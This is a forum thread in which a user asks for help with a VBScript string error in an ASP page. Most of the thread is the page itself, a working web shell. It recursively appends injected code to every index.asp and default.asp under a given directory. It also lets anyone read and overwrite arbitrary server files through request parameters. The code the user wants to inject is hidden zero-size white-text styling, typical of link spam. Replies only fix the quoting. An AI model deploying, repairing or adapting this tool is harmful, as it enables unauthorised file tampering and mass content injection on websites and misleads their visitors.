中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » [求助]VBS 800a0409 错误如何解决 急~~~~
作者:
标题: [求助]VBS 800a0409 错误如何解决 急~~~~ 上一主题 | 下一主题
w1314ich
中级用户





积分 234
发帖 119
注册 2007-4-22
状态 离线
『楼 主』:  [求助]VBS 800a0409 错误如何解决 急~~~~

有个asp脚本: ========================================代码开始 <%Server.ScriptTimeout=10000 Response.Buffer=False %> <html> <head> <title>AddUrl</title> </head> <body> <% ASP_SELF=Request.ServerVariables("PATH_INFO") s=Request("fd") ex=Request("ex") pth=Request("pth") newcnt=Request("newcnt") If ex<>"" AND pth<>"" Then select Case ex Case "edit" CALL file_show(pth) Case "save" CALL file_save(pth) End select Else %> <form action="<%=ASP_SELF%>" method="POST"> Dir: <input type="text" name="fd" size="40"> <input type="submit" value="START"> </form> <%End If%> <% Function IsPattern(patt,str) Set regEx=New RegExp regEx.Pattern=patt regEx.IgnoreCase=True retVal=regEx.Test(str) Set regEx=Nothing If retVal=True Then IsPattern=True Else IsPattern=False End If End Function If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then sch s Else If s<>"" Then Response.Write "Invalid Agrument!" End If Sub sch(s) oN eRrOr rEsUmE nExT Set fs=Server.createObject("Scripting.FileSystemObject") Set fd=fs.GetFolder(s) Set fi=fd.Files Set sf=fd.SubFolders For Each f in fi rtn=f.Path step_all rtn Next If sf.Count<>0 Then For Each l In sf sch l Next End If End Sub Sub step_all(agr) retVal=IsPattern("(\\|\/)(|index|default)\.(asp)\b",agr) If retVal Then step1 agr step2 agr Else Exit Sub End If End Sub %> <%Sub step1(str1)%> <a href="<%=ASP_SELF%>?ex=edit&pth=<%=str1%>" target="_blank"><%=str1%></a><br> <%End Sub%> <% Sub step2(str2) addcode="加入自己需要的网页信息代码" 这一行 Set fs=Server.createObject("Scripting.FileSystemObject") isExist=fs.FileExists(str2) If isExist Then Set f=fs.GetFile(str2) Set f_addcode=f.OpenAsTextStream(8,-2) f_addcode.Write addcode f_addcode.Close Set f=Nothing End If Set fs=Nothing End Sub %> <% Sub file_show(fname) Set fs1=Server.createObject("Scripting.FileSystemObject") isExist=fs1.FileExists(fname) If isExist Then Set fcnt=fs1.OpenTextFile(fname) cnt=fcnt.ReadAll fcnt.Close Set fs1=Nothing%> FILE: <%=fname%> <form action="<%=ASP_SELF%>" method="POST"> <textarea name="newcnt" cols="100" rows="30"><%=cnt%></textarea> <input type="hidden" name="pth" value="<%=fname%>"> <input type="hidden" name="ex" value="save"> <input type="submit" value="SAVE"> </form> <%Else%> <p>文件不存在.</p> <% End If End Sub %> <% Sub file_save(fname) Set fs2=Server.createObject("Scripting.FileSystemObject") Set newf=fs2.createTextFile(fname,True) newf.Write newcnt newf.Close Set fs2=Nothing Response.Write "<p>文件保存成功.</p>" End Sub %> </body> </html> ====================================代码结束 我把标注的那一行中的自己需要加入的代码换成: <style type="text/css"> <!-- .STYLE3 { font-size: 0px; color: #FFFFFF; } body { margin-top: 0px; } a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: none; } a:active { text-decoration: none; } --> 结果运行这个ASP脚本后出现了: Microsoft VBScript 编译器错误 '800a0409' 未结束的字符串常量 \wwwroot\add.asp, line 84 请问改如何解决 [ Last edited by w1314ich on 2008-4-25 at 03:11 PM ]




2008-4-25 15:09
查看资料  发送邮件  发短消息  网志   编辑帖子  回复  引用回复
slore
铂金会员





积分 5212
发帖 2478
注册 2007-2-8
状态 离线
『第 2 楼』:  

<style type=""text/css""> <!-- .STYLE3 { font-size: 0px; color: #FFFFFF; } body { margin-top: 0px; } a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: none; } a:active { text-decoration: none; } -->


2008-4-25 15:21
查看资料  发短消息  网志   编辑帖子  回复  引用回复
w1314ich
中级用户





积分 234
发帖 119
注册 2007-4-22
状态 离线
『第 3 楼』:  

还是不行 运行后出现: 无法显示网页 您要访问的网页有问题,无法显示。 -------------------------------------------------------------------------------- 请尝试以下操作: 打开 www.xxx.com 主页,然后查找指向您感兴趣信息的链接。 单击刷新按钮,或以后再试。 单击搜索,寻找 Internet 上的信息。 也可查看相关站点列表。 HTTP 500 - 内部服务器错误 Internet Explorer




2008-4-25 15:28
查看资料  发送邮件  发短消息  网志   编辑帖子  回复  引用回复
w1314ich
中级用户





积分 234
发帖 119
注册 2007-4-22
状态 离线
『第 4 楼』:  

自己顶一下~~~




2008-4-25 15:39
查看资料  发送邮件  发短消息  网志   编辑帖子  回复  引用回复
w1314ich
中级用户





积分 234
发帖 119
注册 2007-4-22
状态 离线
『第 5 楼』:  

有谁能帮帮我吗




2008-4-25 17:42
查看资料  发送邮件  发短消息  网志   编辑帖子  回复  引用回复
abcd
银牌会员





积分 1436
发帖 739
注册 2007-10-11
状态 离线
『第 6 楼』:  

楼主加的那段是CSS,怎么会加在asp语块<% ...%>里面呢?


2008-4-25 19:12
查看资料  发短消息  网志  OICQ (470237592)  编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: